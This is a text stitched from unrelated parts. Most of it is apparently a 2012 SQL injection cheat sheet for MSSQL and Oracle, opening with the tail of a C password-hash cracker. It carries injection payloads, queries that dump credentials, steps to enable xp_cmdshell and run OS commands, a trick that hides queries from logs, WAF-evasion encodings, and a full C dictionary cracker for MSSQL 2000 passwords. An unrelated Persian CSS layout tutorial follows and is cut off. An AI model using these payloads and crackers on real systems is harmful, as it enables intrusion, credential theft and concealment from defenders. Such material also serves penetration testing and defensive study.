  if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
    printf("Invalid password hash: %s\n", hash);
    return;
  }
  printf("Hash: %08lx%08lx\n", targ1, targ2);
  targ3 = targ2 - targ1;
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);

  for (len = 3; len <= MAX_LEN; len++) {
    printf("Trying length %d\n", len);
    if ( crack0(len-4, targ1, targ3, pass) ) {
      printf("Found pass: ");
      for (i = 0; i < len; i++)
        putchar(pass[i]);
      putchar('\n');
      break;
    }
  }
  if (len > MAX_LEN)
    printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}

MSSQL

Default Databases

pubs	Not available on MSSQL 2005
model	Available in all versions
msdb	Available in all versions
tempdb	Available in all versions
northwind	Available in all versions
information_schema	Availalble from MSSQL 2000 and higher

Comment Out Query

The following can be used to comment out the rest of the query after your injection:

/*	C-style comment
--	SQL comment
;%00	Nullbyte

Example:

SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';

Testing Version

@@VERSION

Example:

True if MSSQL version is 2008.
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';

Note:

Output will also contain the version of the Windows Operating System.

Database Credentials

Database..Table	master..syslogins, master..sysprocesses
Columns	name, loginame
Current User	user, system_user, suser_sname(), is_srvrolemember('sysadmin')
Database Credentials	SELECT user, password FROM master.dbo.sysxlogins

Example:

Return current user:
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;

Check if user is admin:
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);

Database Names

Database.Table	master..sysdatabases
Column	name
Current DB	DB_NAME(i)

Examples:

SELECT DB_NAME(5);
SELECT name FROM master..sysdatabases;

Server Hostname

@@SERVERNAME

SERVERPROPERTY()

Examples:

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');

Note:

SERVERPROPERTY() is available from MSSQL 2005 and higher.

Tables and Columns

Determining number of columns


						ORDER BY n+1;

Example:

Given the query: SELECT username, password, permission FROM Users WHERE id = '1';

1' ORDER BY 1--	True
1' ORDER BY 2--	True
1' ORDER BY 3--	True
1' ORDER BY 4--	False - Query is only using 3 columns
-1' UNION SELECT 1,2,3--	True

Note:

Keep incrementing the number until you get a False response.

The following can be used to get the columns in the current query.


						GROUP BY / HAVING

Example:

Given the query: SELECT username, password, permission FROM Users WHERE id = '1';

1' HAVING 1=1--	Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username HAVING 1=1--	Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username, password HAVING 1=1--	Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username, password, permission HAVING 1=1--	No Error

Note:

No error will be returned once all columns have been included.

Retrieving Tables

We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.

UNION SELECT name FROM master..sysobjects WHERE xtype='U'

AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

Note:

Xtype = 'U' is for User-defined tables. You can use 'V' for views.

Retrieving Columns

We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.

UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')

AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))

Retrieving Multiple Tables/Columns at once

The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.

Create Temp Table/Column and Insert Data:
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;

Dump Content:
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);

Delete Table:
AND 1=0; DROP TABLE TMP_DB;

An easier method is available starting with MSSQL 2005 and higher. The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.

SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('')

SQL Server 2005+

Note:

You can encode your query in hex to "obfuscate" your attack.

' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

Avoiding the use of quotations

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)

String Concatenation

SELECT CONCAT('a','a','a'); (SQL SERVER 2012)

SELECT 'a'+'d'+'mi'+'n';

Conditional Statements

CASE

Example:

IF 1=1 SELECT 'true' ELSE SELECT 'false';
SELECT CASE WHEN 1=1 THEN true ELSE false END;

Note:

IF cannot be used inside a SELECT statement.

Timing

WAITFOR DELAY 'time_to_pass';
WAITFOR TIME 'time_to_execute';

Example:

IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

OPENROWSET Attacks

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

System Command Execution

Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

EXEC master.dbo.xp_cmdshell 'cmd';

Starting with version MSSQL 2005 and higher, xp_cmdshell is disabled by default, but can be activated with the following queries:

EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure

EXEC sp_configure 'xp_cmdshell', 1

EXEC sp_configure reconfigure

Alternatively, you can create your own procedure to achieve the same results:

DECLARE @execmd INT

EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT

EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'

If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:

EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure

EXEC sp_configure 'OLE Automation Procedures', 1

EXEC sp_configure reconfigure

Example:

Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB:
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--

Dump Content:
' UNION SELECT tbl FROM TMP_DB--

Delete Table:
' DROP TABLE TMP_DB--

SP_PASSWORD (Hiding Query)

Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

SP_PASSWORD

Example:

' AND 1=1--sp_password

Output:

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

Stacked Queries

MSSQL supports stacked queries.

Example:

' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');

Fuzzing and Obfuscation

Allowed Intermediary Characters

The following characters can be used as whitespaces.

01	Start of Heading
02	Start of Text
03	End of Text
04	End of Transmission
05	Enquiry
06	Acknowledge
07	Bell
08	Backspace
09	Horizontal Tab
0A	New Line
0B	Vertical Tab
0C	New Page
0D	Carriage Return
0E	Shift Out
0F	Shift In
10	Data Link Escape
11	Device Control 1
12	Device Control 2
13	Device Control 3
14	Device Control 4
15	Negative Acknowledge
16	Synchronous Idle
17	End of Transmission Block
18	Cancel
19	End of Medium
1A	Substitute
1B	Escape
1C	File Separator
1D	Group Separator
1E	Record Separator
1F	Unit Separator
20	Space
25	%

Examples:

S%E%L%E%C%T%01column%02FROM%03table;
A%%ND 1=%%%%%%%%1;

Note:

The percentage signs in between keywords is only possible on ASP(x) web applications.

The following characters can be also used to avoid the use of spaces.

22	"
28	(
29	)
5B	[
5D	]

Example:

UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM[information_schema].[tables];

Allowed Intermediary Characters after AND/OR

01 - 20	Range
21	!
2B	+
2D	-
2E	.
5C	\
7E	~

Example:

SELECT 1FROM[table]WHERE\1=\1AND\1=\1;

Note:

The backslash does not seem to work with MSSQL 2000.

Encodings

Encoding your injection can sometimes be useful for WAF/IDS evasion.

URL Encoding	SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding	SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding	SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP)	SELECT %tab%le_%na%me FROM information_schema.tables;
Hex Encoding	' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
HTML Entities (Needs to be verified)	%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

Password Hashing

Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457

Password Cracking

A Metasploit module for JTR can be found here.

MSSQL 2000 Password Cracker

This tool is designed to crack Microsoft SQL Server 2000 passwords.

/////////////////////////////////////////////////////////////////////////////////
//
//           SQLCrackCl
//
//           This will perform a dictionary attack against the
//           upper-cased hash for a password. Once this
//           has been discovered try all case variant to work
//           out the case sensitive password.
//
//           This code was written by David Litchfield to
//           demonstrate how Microsoft SQL Server 2000
//           passwords can be attacked. This can be
//           optimized considerably by not using the CryptoAPI.
//
//           (Compile with VC++ and link with advapi32.lib
//           Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
	         int err = 0;
	    if(argc !=3)
	              {
	                        printf("\n\n*** SQLCrack *** \n\n");
	                        printf("C:\\>%s hash passwd-file\n\n",argv[0]);
	                        printf("David Litchfield (david@ngssoftware.com)\n");
	                        printf("24th June 2002\n");
	                        return 0;
	              }
	    err = OpenPasswordFile(argv[2]);
	    if(err !=0)
	     {
	       return printf("\nThere was an error opening the password file %s\n",argv[2]);
	     }
	    err = CrackPassword(argv[1]);
	    fclose(fd);
	    printf("\n\n%d",wd);
	    return 0;
}
int OpenPasswordFile(char *pwdfile)
{
	    fd = fopen(pwdfile,"r");
	    if(fd)
	              return 0;
	    else
	              return 1;
}
int CrackPassword(char *hash)
{
	    char phash[100]="";
	    char pheader[8]="";
	    char pkey[12]="";
	    char pnorm[44]="";
	    char pucase[44]="";
	    char pucfirst[8]="";
	    char wttf[44]="";
	    char uwttf[100]="";
	    char *wp=NULL;
	    char *ptr=NULL;
	    int cnt = 0;
	    int count = 0;
	    unsigned int key=0;
	    unsigned int t=0;
	    unsigned int address = 0;
	    unsigned char cmp=0;
	    unsigned char x=0;
	    HCRYPTPROV hProv=0;
	    HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
	      {
	              return printf("\nThe password hash is too short!\n");
	      }
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
	      {
	              hash = hash + 2;
	              strncpy(pheader,hash,4);
	              printf("\nHeader\t\t: %s",pheader);
	              if(strlen(pheader)!=4)
	                        return printf("%s",lerr);
	              hash = hash + 4;
	              strncpy(pkey,hash,8);
	              printf("\nRand key\t: %s",pkey);
	              if(strlen(pkey)!=8)
	                        return printf("%s",lerr);
	              hash = hash + 8;
	              strncpy(pnorm,hash,40);
	              printf("\nNormal\t\t: %s",pnorm);
	              if(strlen(pnorm)!=40)
	                        return printf("%s",lerr);
	              hash = hash + 40;
	              strncpy(pucase,hash,40);
	              printf("\nUpper Case\t: %s",pucase);
	              if(strlen(pucase)!=40)
	                        return printf("%s",lerr);
	              strncpy(pucfirst,pucase,2);
	              sscanf(pucfirst,"%x",&cmp);
	      }
else
	      {
	              return printf("The password hash has an invalid format!\n");
	      }
printf("\n\n       Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                 ,0))
  {
	      if(GetLastError()==NTE_BAD_KEYSET)
	              {
	                        // KeySet does not exist. So create a new keyset
	                        if(!CryptAcquireContext(&hProv,
	                                             NULL,
	                                             NULL,
	                                             PROV_RSA_FULL,
	                                             CRYPT_NEWKEYSET ))
	                           {
	                                    printf("FAILLLLLLL!!!");
	                                    return FALSE;
	                           }
	       }
}
while(1)
	     {
	       // get a word to try from the file
	       ZeroMemory(wttf,44);
	       if(!fgets(wttf,40,fd))
	          return printf("\nEnd of password file. Didn't find the password.\n");
	       wd++;
	       len = strlen(wttf);
	       wttf[len-1]=0x00;
	       ZeroMemory(uwttf,84);
	       // Convert the word to UNICODE
	       while(count < len)
	                 {
	                           uwttf[cnt]=wttf[count];
	                           cnt++;
	                           uwttf[cnt]=0x00;
	                           count++;
	                           cnt++;
	                 }
	       len --;
	       wp = &uwttf;
	       sscanf(pkey,"%x",&key);
	       cnt = cnt - 2;
	       // Append the random stuff to the end of
	       // the uppercase unicode password
	       t = key >> 24;
	       x = (unsigned char) t;
	       uwttf[cnt]=x;
	       cnt++;
	       t = key << 8;
	       t = t >> 24;
	     x = (unsigned char) t;
	     uwttf[cnt]=x;
	     cnt++;
	     t = key << 16;
	     t = t >> 24;
	     x = (unsigned char) t;
	     uwttf[cnt]=x;
	     cnt++;
	     t = key << 24;
	     t = t >> 24;
	     x = (unsigned char) t;
	     uwttf[cnt]=x;
	     cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
	     {
	               printf("Error %x during CryptCreatHash!\n", GetLastError());
	               return 0;
	     }
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
	     {
	               printf("Error %x during CryptHashData!\n", GetLastError());
	               return FALSE;
	     }
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
	     {
	               // If first byte matches try the rest
	               ptr = pucase;
	               cnt = 1;
	               while(cnt < 20)
	               {
	                           ptr = ptr + 2;
	                           strncpy(pucfirst,ptr,2);
	                           sscanf(pucfirst,"%x",&cmp);
	                           if(szhash[cnt]==cmp)
	                                    cnt ++;
	                           else
	                           {
	                                    break;
	                           }
	               }
	               if(cnt == 20)
	               {
	                    // We've found the password
	                    printf("\nA MATCH!!! Password is %s\n",wttf);
	                    return 0;
	                 }
	         }
	         count = 0;
	         cnt=0;
	       }
  return 0;
}

Oracle

Default Databases

SYSTEM	Available in all versions
SYSAUX	Available in all versions

Comment Out Query

The following can be used to comment out the rest of the query after your injection:

--	SQL comment

Example:

SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';

Testing Version

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

SELECT banner FROM v$version WHERE banner LIKE 'TNS%';

SELECT version FROM v$instance;

Note:

All SELECT statements in Oracle must contain a table.

dual is a dummy table which can be used for testing.

Database Credentials

SELECT username FROM all_users;	Available on all versions
SELECT name, password from sys.user$;	Privileged, <= 10g
SELECT name, spare4 from sys.user$;	Privileged, <= 11g

Database Names

Current Database

SELECT name FROM v$database;

SELECT instance_name FROM v$instance

SELECT global_name FROM global_name

SELECT SYS.DATABASE_NAME FROM DUAL

User Databases

SELECT DISTINCT owner FROM all_tables;

Server Hostname

SELECT host_name FROM v$instance; (Privileged)

SELECT UTL_INADDR.get_host_name FROM dual;

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;

SELECT UTL_INADDR.get_host_address FROM dual;

Tables and Columns

Retrieving Tables

SELECT table_name FROM all_tables;

Retrieving Columns

SELECT column_name FROM all_tab_columns;

Find Tables from Column Name

SELECT column_name FROM all_tab_columns WHERE table_name = 'Users';

Find Columns From Table Name

SELECT table_name FROM all_tab_tables WHERE column_name = 'password';

Retrieving Multiple Tables at once

SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables;

Avoiding the use of quotations

Unlike other RDBMS, Oracle allows table/column names to be encoded.

SELECT 0x09120911091 FROM dual;	Hex Encoding.
SELECT CHR(32)\|\|CHR(92)\|\|CHR(93) FROM dual;	CHR() Function.

String Concatenation

SELECT 'a'||'d'||'mi'||'n' FROM dual;

Conditional Statements

SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual

Timing

Time Delay

SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;

Heavy Time Delays

AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

Privileges

SELECT privilege FROM session_privs;

SELECT grantee, granted_role FROM dba_role_privs; (Privileged)

Out Of Band Channeling

DNS Requests

SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;

SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;

Password Cracking

A Metasploit module for JTR can be found here.

Extras

About

This Knowledge Base was put together and is maintained by Roberto Salgado, Co-Founder of Websec. It is a compilation of books, papers, cheatsheets and testing done by Roberto over the years.

Contact

Please feel free to send any suggestions you may have to @LightOS or e-mail.

Special Thanks

Garrett Hyder	Helped me tremendously with the CSS and some JQuery bugs.
Johannes Dahse	Helped me create the original version.
Lisa Richards	Made the tough decisions for me.
Mario Heiderich	Helped me create the original version.
Pedro Joaquín	Motivated me to finish this.

Contributions

Paulino Calderón	Gave me the idea of adding a changelog.
Alejandro Hernández	Pointed out some missing code for the password crackers.
Denis Baranov	Contributed with links for Error based methods and Acknowledgements.
id	Contributed links for the JTR-MSF modules.
Nurfed	Contributed a method for retrieving multiple tables at once in MSSQL 2005+.
PenTesticles	Minor correction to MSSQL xp_cmdshell.
Ryan Barnett	Brought to my attention an extra method for WAITFOR timing in MSSQL.

Acknowledgements

Hackforums	A method for retrieving multiple tables/columns at once.
RDot	A lot of the error based vectors originated from this site.

Last Updated

October 7, 2012

============================================================================================================================================================

آموزش طراحی قالب وبسایت و وبلاگ به وسیله CSS

برای طراحی یک صفحه اینترنتی از دو نوع روش کد نویسی استفاده می شود:

html پایه و اساس هر صفحه اینترنتی است که از سه بخش کلی و اصلی <html> و <head> و <body> تشکیل شده است.

در این روش شما صفحه ای را در دست دارید که با نوشتن کدهای جدید و یا کاهش و افزایش کدهای پیشین میتوانید به قالب مورد نظرتان دست یابید.

xhtml نوع دیگر نوشتن کدهای یک صفحه اینترنتی ست با این تفاوت که برای نمایش خود به دستوراتی نیاز دارد که در قسمت head جای گرفته اند و یا در قالب یک فایل جداگانه با پسوند css انجام وظیفه میکنند. مثلا وقتی میخواهید برای قسمت پست یک وبلاگ نوع فونت، رنگ و سایز آن را تعیین کنید باید این دستور را در قسمت <style> در بخش <head> و یا در فایل css مربوط به آن صفحه اعمال کنید و لازم نیست مانند html قبل از هر متن از تگ (کد) <font> استفاده کنید.

توجه: استفاده از دستورات style به طور دلخواه طراح میتواند در یک فایل css. و یا در همان صفحه مورد نظر در قسمت head و به صورت کد <style> صورت بگیرد. در هر دو روش نتیجه یکسان خواهد بود.

دستورات (style sheet) ی که نحوه نمایش یک صفحه XHTML را مشخص می کنند CSS نامیده میشوند و در صورتی که بخواهند در یک فایل جداگانه ایفای نقش کنند در فایلی با پسوند css. جای میگیرند. به عبارت دیگر: xhtml ساختار اصلی صفحات وب را تعیین می کند و css شکل ظاهری آن را.

بعد از هر جستجوی css در میان صفحات فارسی به وبگاههایی خواهیم رسید که css را از نظر لغوی معنی کرده اند با این حال برای کامل بودن این سری آموزشی به تکرار مکررات هم میپردازم.

css مخفف کلمه Cascading Style Sheet و به معنی مجموعه طبقه بندی شده و یا مجموعه آبشاری است.

یکی از اصلی ترین و مهمترین ویژگی های xhtml مطابقت آن با استانداردهای جهانی دسترسی سایت میباشد و به خاطر رعایت این استانداردها صفحاتی که بر اساس xhtml طراحی شده اند با مرورگرهای مختلف سازگارند. برای کسب اطلاعات بیشتر در مورد قوانین دسترسی، به این آدرس بروید: http://www.w3.org/wai

--------------------------------------------------------------------------------------------------

در این سری آموزشی شما می توانید طراحی قالبهای تک ستونه، دو ستونه، سه ستونه، چهار ستونه، ایجاد header و footer و همین طور طراحی انواع قالبهای سایت را طبق نیاز و سلیقه خودتان بیاموزید و به راحتی در این قالبها فارسی بنویسید. این قالبها قابل استفاده برای انواع سیستمهای وبلاگ و سایت از جمله: ، movable type ، بلاگدون و ... میباشند و فقط کافیست تا کدهای مورد نظرتان را در میان این کدها و در جایگاه مورد نظرتان قرار دهید. برای طراحی به یکی از نرم افزارهای ویرایش صفحات وب مانند FrontPage نیاز دارید و همینطور لازم است تا برای آزمایش صفحات ایجاد شده مرورگرهای intenet explorer و فایر فاکس را روی سیستم خود داشته باشید اگر مرورگر Opera هم داشته باشید بی شک طراحی مطمئن تر و کامل تری را خواهید داشت.

بخش دوم آموزش طراحی قالب وبسایت و وبلاگ به وسیله CSS

شما قصد دارید صفحه ای داشته باشید که در آن ستونهایی مناسب با نیاز تان ایجاد شده است. مثلا اگر header و یک ستون برای نوشتن پستها و یک ستون در کنار ستون پستها به عنوان side bar و برای قرار دادن اطلاعات جانبی مانند آیکون فید، لینک دوستان، آمار بازدید و ... و همینطور در انتهای ستونها یک ستون کم ارتفاع به عنوان footer داشته باشید.

در تصویر بالا شما یک قالب دو ستونه را مشاهده میکنید که علاوه بر دو ستون از یک header و یک footer نیز برخوردار است پس در اصل در این قالب چهار ستون وجود دارد زیرا بیننده فقط ستونهای بلند وسط صفحه را به حساب می آورد و میگوید دو ستونه ولی طراح با چهار ستون سرو کار دارد و header و footer هم هر کدام یک ستون محسوب می شوند.

در اینجا به یکی از اصلی ترین نکات در css می پردازیم و آن نحوه جایگزین کردن ستونها در مکان مناسب خودشان است.

در قسمت یک تصویر شماره دو، یک قالب سه ستونه را مشاهده میکنید. عرض ستون زرد 600 پیکسل است و به علت عرض زیاد یک سطر را به خودش اختصاص داده حالا اگر عرض این ستون را کم کنیم و به 300 پیکسل برسانیم (قسمت دو تصویر شماره دو) ستون صورتی با عرض 200 پیکسل به طور خودکار به کنار ستون زرد منتقل می شود و ستون سبز هم جای ستون صورتی را میگیرد و در آخر ستونها به شکلی که در قسمت سه تصویر شماره دو مشاهده می کنید جایگزین می شود. مهمترین نکته در طراحی css تنظیم کردن شکل ظاهری ستونها و قرار دادن آنها در مکان مناسب خودشان است و طبق توضیحاتی که داده شد به این نتیجه می رسیم که با کم کردن عرض ستونها می توانید چندین ستون را در یک سطر و در کنار هم قرار دهید و یا با زیاد کردن عرض ستونها هر سطر را به یکی از آنها اختصاص دهید. میزان فاصله میان یک ستون از ستونهای اطرافش نیز قابل تنظیم است.

نکته مهم دیگری که در طراحی css وجود دارد قانون ظرف و مظروف است. این نکته بدین معناست که هر ستون می تواند ستونهای دیگری را در خود جای دهد مثلا در تصویر شماره یک، ستوهای قابل مشاهده (header - footer - side bar ) در یک ستون کلی تر قرار گرفته اند که به آنها نظم می دهد و باعث می شود تا ترتیب شان را از دست ندهند. برای توضیح این مسئله در نمونه های دیگر میتوانید در تصویر شماره یک به ساید بار سمت چپ توجه کنید این ساید بار یا ستون جانبی مکانی است برای قرار دادن اطلات مازاد یک وبلاگ یا وبسایت، اطلاعاتی مانند لینک دوستان، موضوعات، آرشیو و ... یعنی شما باید هر کدام از این قسمتها را به طور مجزا از یکدیگر ولی به صورت منظم و زیر هم در side bar قرار دهید. برای این کار باید ستونهای کوچکتری را در ساید بار طراحی کنید که هر کدام یکی از قسمتهای اطلاعات مازاد وبگاه را در خود جای دهند. در نتیجه ساید بار سمت چب ظرفی برای نگهداری محتویاتش محسوب می شود.

اگر به html عادت کرده باشید می دانید که ننوشتن برخی از کدها (هر چند مهم) به شکل ظاهری web page مورد نظر لطمه ای وارد نمی کند ولی رعایت روش صحیح کد نویسی در صفحات xhtml اجباریست. مثلا میتوانید قسمت head را از یک صفحه html حذف کنید بدون اینکه در نمایش آن دچار مشکل شوید ولی xhtml اینگونه نیست.

بستن تگها در xhtml اجباریست یعنی شما مجبورید کدهای مختلف را با حالت < > و با < /> ببندید حتی تگهای تکی مانند <em> و <br> و موارد مشابه آنها نیز نیاز دارند تا به صورت <br /> ظاهر شوند. توجه کنید که بعد از کاراکتر ( / ) باید یک فاصله بگذارید و بعد کد مورد نظر را تایپ کنید.

رعایت نوشتن مقادیر خصیصه ها در میان کوتیشن ( " ) در xhtml بسیار مهم و ضروریست در صورتی که رعایت نکردن این مسئله در html مشکلات زیادی ایجاد نمیکند.

html به کوچک یا بزرگ بودن حروف عکس العملی نشان نمی دهد ولی در xhtml مجبورید همه المان ها، مقادیر و خصیصه های آنها را با حروف کوچک بنویسید.

در ادامه آموزش طراحی صفحات وب استاندارد به کمک css امروز یک نوع صفحه پایه ی طراحی css که فارسی شده و برای نوشتن مطالب فارسی مناسب می باشد را برای دانلود در اختیارتان قرار میدهم. با کلیک روی تصویر پایین، آن را دانلود و کار را آغاز کنید.

فایلی را که دانلود کرده اید یک فایل zip. است(2-column-no1) که بعد از extract شدن (خارج شدن از حالت zip ) فولدری را در اختیارتان قرار میدهد که حاوی سه فایل میباشد:

فایل اول با پسوند htm. همان صفحه اصلی است که در وب به نمایش در می آید. فایل دوم فایل reset.css است لطفا برای دریافت اطلاعات در این مورد به این اینجا مراجعه کنید. فایل سوم فایل style.css است که به صفحه htm. دستور میدهد که چگونه محتویاتش را نمایش دهد.

صفحه htm. و styles.css را که دانلود کرده اید در یک ویرایشگر صفحه وب مانند frontpage باز کنید. در حال حاضر صفحه ای مانند تصویر زیر را در اختیار دارید که برای سهولت در ارائه توضیحات، ستونها را با خطوط (border) کاملا واضح مشخص کرده ام.

همان طور که قبلا هم توضیح دادم قالبهایی را که مثلا دو ستونه می نامیم مانند قالبی که هم اکنون برای کار در دست دارید ظاهرا دو ستونه است ولی در اصل با چندین ستون سرو کار داریم. در این قالب پنج ستون داریم که با تغییرات در ظاهر آنها میتوانیم به آنچه در نظر داریم نزدیک شده و طرح مورد نظرمان را اعمال کنیم.

اکنون به فایل styles.css نگاهی می اندازیم. برای این که به اهمیت این فایل بیشتر پی ببرید ابتدا فایل htm. را در مروگر مشاهده کنید سپس فایل styles.css را از درون فولدر، delete کرده و مجددا فایل htm. را مشاهده کنید (اگر صفحه شما در مرورگر باز است آن را refresh کنید تا تغیرات را ببینید). برای اطلاعات بیشتر در مورد محتویات styles.css اجزای آن را بررسی میکنیم:

شما در این فایل نوشته هایی را مشاهده میکنید که هر کدام مربوط به یک ستون می باشد در ابتدا باید بدانید که اسامی ستونها در فایل styles.css با علامت # مشخص میشوند. مثلا: wrapper# در فایل styles.css که در اختیار دارید چگونگی نمایش ستون wrapper را در صفحه htm. مشخص میکند. کدهای HTML صفحه htm. را در ویرایشگر خود مرور کنید و نام wrapper را بیابید. این ستون، ظرف یا قالب اصلی کار شماست که در صفحه htm. آن را برای شما با border قرمز مشخص کرده ام و بقیه ستونها مانند قطعات پازل در آن جای میگیرند.

#wrapper {
margin: auto;
direction: rtl;
width: 922px;
border: 1px solid #FF0000;
}

نوشته هایی که در میان دو علامت { } قرار دارند و زیر نام یک ستون قرار میگیرند دستوارتی هستند که نحوه نمایش آن ستون را اعمال میکنند. همان طور که در دستور بالا که قسمتی از فایل styles.css شماست و متعلق به ستون wrapper میباشد مشاهده میکنید به این ستون دستور داده شده تا به حالت اتوماتیک (خودکار) در صفحه جای بگیرد ( ;margin: auto )،

نوشته های درون آن از حالت نوشتاری راست به چپ پیروی کنند که برای نوشتار و تایپ فارسی مناسب است ( ;direction: rtl ) منظور از مقدار rtl که در مقابل کلمه direction نوشته شده همان right to left یا چپ به راست است،

اطراف آن را یک خط ممتد با ضخامت 1 پیکسل و رنگ قرمز احاطه کند ( ;border: 1px solid #FF0000 ).

اکنون دستورات ستون دیگری را مرور میکنیم تا کدهای جدیدتری را پیدا کنیم. در فایل styles.css به دنبال ستون leftcolumn بگردید دستورات این ستون را در قسمت پایین مشاهده میکنید:

#leftcolumn {
border: 1px solid #000000;
background:#FFFFFF;
